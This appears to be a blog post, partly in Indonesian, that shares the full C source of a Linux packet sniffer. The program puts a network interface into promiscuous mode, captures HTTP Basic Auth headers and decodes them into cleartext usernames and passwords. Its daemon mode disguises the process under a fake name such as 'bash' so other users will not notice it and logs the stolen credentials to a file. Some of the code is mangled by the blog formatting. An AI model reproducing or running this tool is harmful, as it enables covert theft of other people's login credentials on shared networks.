This program sniffs packets destined for webservers and scans for headers with Basic Auth. then automatically decodes the auth. string giving a username/passwd in cleartext. BUGS: In the verbose mode,source/destination headers get out of sync with data. In daemon mode, source/dest. headers may not be reliable. DISCLAIMER: Please use this program in a responsible manner.
Fiuhh....bisa juga bahasa inggriss :D langsung saja, ini code nya. pakai bahasa c.
hilangkan tanda kurung () -nya.saya kasih krn di blogspot g bisa muncul.
#include (<)stdio.h(>)
#include (<)stdlib.h(>)
#include (<)stdarg.h(>)
#include (<)sys/socket.h(>)
#include (<)sys/time.h(>)
#include (<)sys/types.h(>)
#include (<)unistd.h(>)
#include (<)sys/stat.h(>)
#include (<)fcntl.h(>)
#include (<)netinet/in.h(>)
#include (<)netdb.h(>)
#include (<)string.h(>)
#include (<)linux/if.h(>)
#include (<)signal.h(>)
#include (<)termio.h(>)
#include (<)arpa/inet.h(>)
#include (<)linux/socket.h(>)
#include (<)linux/ip.h(>)
#include (<)linux/tcp.h(>)
#include (<)linux/if_ether.h(>)
#include (<)errno.h(>)
extern int errno;
#define DEFAULT_WEB_PORT 80
#define CAPTURE_LENGTH 1024
#define TIMEOUT 30
#define INTERFACE "eth0"
#define ISBLANK(x) (((x) == ' ') || ((x) == '\t'))
#define SPACELEFT(buf, ptr) (sizeof buf - ((ptr) - buf))
#define newstr(s) strcpy(malloc(strlen(s) + 1), s)
struct BASE64_PARAMS {
unsigned long int accum;
int shift;
int save_shift;
};
struct etherpacket {
struct ethhdr ether_header;
struct iphdr ip_header;
struct tcphdr tcp_header;
char buff[8192];
} ether_packet;
struct
{
unsigned long source_addr;
unsigned long dest_addr;
unsigned short source_port;
unsigned short dest_port;
int bytes_read;
char active;
time_t start_time;
char tmp_realm[1024];
char tmp_host[512];
} target;
struct iphdr *ip;
struct tcphdr *tcp;
char **Argv = NULL;
char *LastArgv = NULL;
short daemon_mode;
short verbose_mode;
unsigned short user_port;
FILE *daemon_fd=NULL;
int sock;
/* fungsi deklarasi */
char *lookup(unsigned long int);
char *dateTime();
/* implementasi signal*/
void (*
r_signal(sig, func)) (int)
int sig;
void (*func) ();
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif
if (sigaction(sig, &act, &oact) < 0)
return (SIG_ERR);
return (oact.sa_handler);
}
/* fungsi ini mengambil proses apa saja yang jalan di terminal yang di remote*/
void detach()
{
int rc, fd;
if ((rc = fork()) > 0)
exit(0);
else if (rc <0) {
perror("detach");
exit(EXIT_FAILURE);
}
if ((fd = open("/dev/tty", O_RDWR,0)) == -1 ) {
printf("couldn't open tty, assuming still okay...\n");
fflush((FILE *)stdout);
return;
}
ioctl(fd, TIOCNOTTY, 0);
close(fd);
setsid();
}
setproctitle(const char *fmt, ...)
{
register char *p;
register int i;
char buf[2048];
va_list args;
p = buf;
va_start(args, fmt);
(void) vsnprintf(p, SPACELEFT(buf, p), fmt, args);
va_end(args);
i = strlen(buf);
if (i > LastArgv - Argv[0] - 2)
{
i = LastArgv - Argv[0] - 2;
buf[i] = '\0';
}
(void) strcpy(Argv[0], buf);
p = &Argv[0][i];
while (p < LastArgv)
*p++ = ' ';
Argv[1] = NULL;
}
void initsetproctitle(int argc, char **argv, char **envp)
{
register int i;
extern char **environ;
for (i = 0; envp[i] != NULL; i++)
continue;
environ = (char **) malloc(sizeof (char *) * (i + 1));
for (i = 0; envp[i] != NULL; i++)
environ[i] = newstr(envp[i]);
environ[i] = NULL;
Argv = argv;
if (i > 0)
LastArgv = envp[i - 1] + strlen(envp[i - 1]);
else
LastArgv = argv[argc - 1] + strlen(argv[argc - 1]);
}
/* konversi base64 ascci ke dalam mode integer */
int cvt_ascii( unsigned char alpha )
{
if ( (alpha >= 'A') && (alpha <= 'Z') ) return (int)(alpha - 'A');
else if ( (alpha >= 'a') && (alpha <= 'z') )
return 26 + (int)(alpha - 'a');
else if ( (alpha >= '0') && (alpha <= '9' ) )
return 52 + (int)(alpha - '0');
else if ( alpha == '+' ) return 62;
else if ( alpha == '/' ) return 63;
else if ( alpha == '=' ) return -2;
else return -1;
}
/* decoding base64 */
void base64_decode(char *buf,int quit,struct BASE64_PARAMS *d,char *auth_buf)
{
int index;
unsigned long int value;
unsigned char blivit;
unsigned short j=0;
index = 0;
*(auth_buf+0)='\0';
while ( ISBLANK(buf[index] ) )
{
index++;
}
for ( index = 0;
(buf[index] != '\n') &&
(buf[index] != '\0') &&
(buf[index] != ' ' );
index++)
{
if (index==(264-5)) return;
value = cvt_ascii( buf[index] );
if ( value < 64 )
{
d->accum <<= 6;
d->shift += 6;
d->accum |= value;
if ( d->shift >= 8 )
{
d->shift -= 8;
value = d->accum >> d->shift;
blivit = (unsigned char)value & 0xFFl;
*(auth_buf+j) = (char )blivit;
j++;
}
}
else
{
quit = 1;
break;
}
}
*(auth_buf+j)='\0';
return;
}
void decode(char *b64_string, char *user_buff)
{
struct BASE64_PARAMS d_p;
int quit=0;
d_p.shift = 0;
d_p.accum = 0;
base64_decode((char *)b64_string, quit, &d_p, user_buff);
return;
}
void parse_segment(char *data)
{
short i,j=0;
char foo[256];
char user[128];
char pass[128];
if ((!strncmp(data,"GET ",4))||(!strncmp(data,"POST ",5))||(!strncmp(data,"HEAD ",5)))
strncpy(target.tmp_realm,data,strlen(data));
if (!strncasecmp(data,"Authorization: Basic",20)) {
if (strlen(data+21)>sizeof(foo))
*(data+21+sizeof(foo-1))='\0';
decode(data+21,foo);
for (i=0;foo[i];i++) {
if (foo[i]==':')
break;
user[i]=foo[i];
}
user[i]='\0';
for (++i; foo[i]; i++) {
pass[j]=foo[i];
j++;
}
pass[j]='\0';
if (daemon_mode) {
fprintf(daemon_fd,"\n####### [%s]\n",dateTime());
fprintf(daemon_fd,"%s",target.tmp_host);
fprintf(daemon_fd,"REALM REQUESTED: %s\n", target.tmp_realm);
fprintf(daemon_fd,"---[ USER = %s PASS = %s ]---\n",user,pass);
fprintf(daemon_fd,"#######\n\n");
fflush(daemon_fd);
} else {
printf("\n----------[ USER = %s PASS = %s ]----------\n",user,pass);
fflush(stdout);
}
}
return;
}
int scan_data(int datalen, char *data)
{
int i=0, t=0;
char data_buff[CAPTURE_LENGTH];
target.bytes_read=target.bytes_read+datalen;
memset(target.tmp_realm,'\0',sizeof(target.tmp_realm));
sprintf(target.tmp_host,"[%s] [%d] => ",lookup(target.source_addr),ntohs(target.source_port));
sprintf(data_buff,"[%s] [%d]\n",lookup(target.dest_addr),ntohs(target.dest_port));
strcat(target.tmp_host,data_buff);
data_buff[0]='\0';
for(i=0;i != datalen;i++)
{
if(data[i] == 13)
{
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
t=0;
}
if(isprint(data[i]))
{
data_buff[t]=data[i];
t++;
}
if(t > 255)
{
t=0;
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
}
}
}
void seg_fault (int sig)
{
fprintf(stderr, "\n");
fprintf(stderr, "Segmentation Violation!\n");
fprintf(stderr, "\n");
fprintf(stderr, "Congratulations! You have crashed my program.\n");
fprintf(stderr, "describing *exactly* what you did to make this\n");
fprintf(stderr, "program crash. Thanks and have a nice day ^^ \n");
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}
char *lookup(unsigned long int network_address)
{
static char buf[1024];
struct in_addr my_addr;
struct hostent *he;
my_addr.s_addr=network_address;
he=gethostbyaddr((char *)&my_addr,sizeof(struct in_addr),AF_INET);
if (he==NULL)
sprintf(buf,inet_ntoa(my_addr));
else
sprintf(buf,he->h_name);
return (buf);
}
char * dateTime()
{
time_t t;
char * s;
time(&t);
s = (char *)ctime((const time_t *)&t);
s[24] = '\0';
return s;
}
void bye(int sig)
{
if (daemon_mode) {
fprintf(daemon_fd, "\n*** Daemon Mode Ending at [%s] ***\n",dateTime());
fclose(daemon_fd);
}
close(sock);
exit(0);
}
int packet_filter ()
{
unsigned short port;
if (ip->protocol !=6) return (0);
if (target.active !=0)
if (target.bytes_read > CAPTURE_LENGTH)
{
bzero(&target, sizeof(target));
return(0);
}
if (user_port!=0)
port=user_port;
else
port=DEFAULT_WEB_PORT;
if (ntohs(tcp->dest)!=port)
return(0);
else
{
if (tcp->syn==1)
{
target.source_addr=ip->saddr;
target.dest_addr=ip->daddr;
target.active=1;
target.source_port=tcp->source;
target.dest_port=tcp->dest;
target.bytes_read=0;
target.start_time=time(NULL);
if (verbose_mode) {
printf("[%s] [%d] => ",lookup(target.source_addr),
ntohs(target.source_port));
printf("[%s] [%d]\n", lookup(target.dest_addr),
ntohs(target.dest_port));
fflush(stdout);
}
}
}
return(1);
}
void print_usage (char *prog_name)
{
printf("\n");
printf("### Web Sniffer ###\n");
printf("\n");
printf("Usage:\n");
printf("\n");
printf("%s [-d|-v] [-p]\n", prog_name);
printf("\n");
printf("-d : run as a daemon and print output to logfile.\n");
printf("-v : run in foreground and print output to stdout.\n");
printf("-p : optionally specifies port number to sniff on.\n");
printf("\n");
}
int main ( argc, argv, envp )
unsigned int argc;
char **argv;
char **envp;
{
int i, x, c;
extern int optind;
extern char *optarg;
struct ifreq req;
short argsLeft=0;
short errFlag=0;
char *port_ptr=NULL;
char title[1024];
r_signal(SIGSEGV, seg_fault);
r_signal(SIGTERM, bye);
r_signal(SIGQUIT, bye);
r_signal(SIGHUP, bye);
if (getuid() && geteuid()) {
fprintf(stderr, "\nYou need to be root in order to run this.\n\n");
exit(EXIT_FAILURE);
}
memset(title,'\0',sizeof(title));
verbose_mode=0;
daemon_mode=0;
user_port=0;
while((c=getopt(argc,argv,"dvp:"))!= EOF)
switch(c) {
case 'd':
if (verbose_mode)
errFlag++;
else
daemon_mode=1;
break;
case 'v':
if (daemon_mode)
errFlag++;
else
verbose_mode=1;
break;
case 'p':
port_ptr=optarg;
user_port=atoi(port_ptr);
break;
case '?':
errFlag++;
}
argsLeft=argc-optind;
if ((!daemon_mode && !verbose_mode)||errFlag||argsLeft) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}
if (daemon_mode) {
printf("\n");
printf("*** Daemon Mode ***\n");
printf("Enter in the full path to the logfile\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
if ((daemon_fd=fopen(title,"a+"))==NULL) {
fprintf(stderr, "Could not open logfile: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("Enter in a process title to masquerade as so\n");
printf("it won't be quite so obvious to other users what\n");
printf("we are really doing (i.e: bash, ftp, in.telnetd, vi ...)\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
printf("Setting process title to: %s\n", title);
initsetproctitle(argc, argv, envp);
setproctitle("%s", title);
printf("Daemon Mode Started.\n");
detach();
fprintf(daemon_fd, "\n*** Daemon Mode Started at [%s] ***\n",dateTime());
fflush(daemon_fd);
}
sock=socket(AF_INET, SOCK_PACKET, htons(0x800));
if (sock <0) {
perror("can't get SOCK_PACKET socket");
exit(1);
}
strcpy(req.ifr_name, INTERFACE);
if ((i=ioctl(sock, SIOCGIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot get flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
req.ifr_flags |= IFF_PROMISC;
if ((i=ioctl(sock, SIOCSIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot set flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
ip=(struct iphdr *)(((unsigned long)ðer_packet.ip_header)-2);
tcp=(struct tcphdr *)(((unsigned long)ðer_packet.tcp_header)-2);
bzero(&target, sizeof(target));
for (;;) {
while(1) {
x=read(sock,ðer_packet,sizeof(ether_packet));
if (x > 1)
{
if (packet_filter()==0) continue;
x=x-54;
if (x<1) continue;
break;
}
}
scan_data(htons(ip->tot_len)-sizeof(ether_packet.ip_header)-
sizeof(ether_packet.tcp_header),ether_packet.buff-2);
}
}
0 comments:
Post a Comment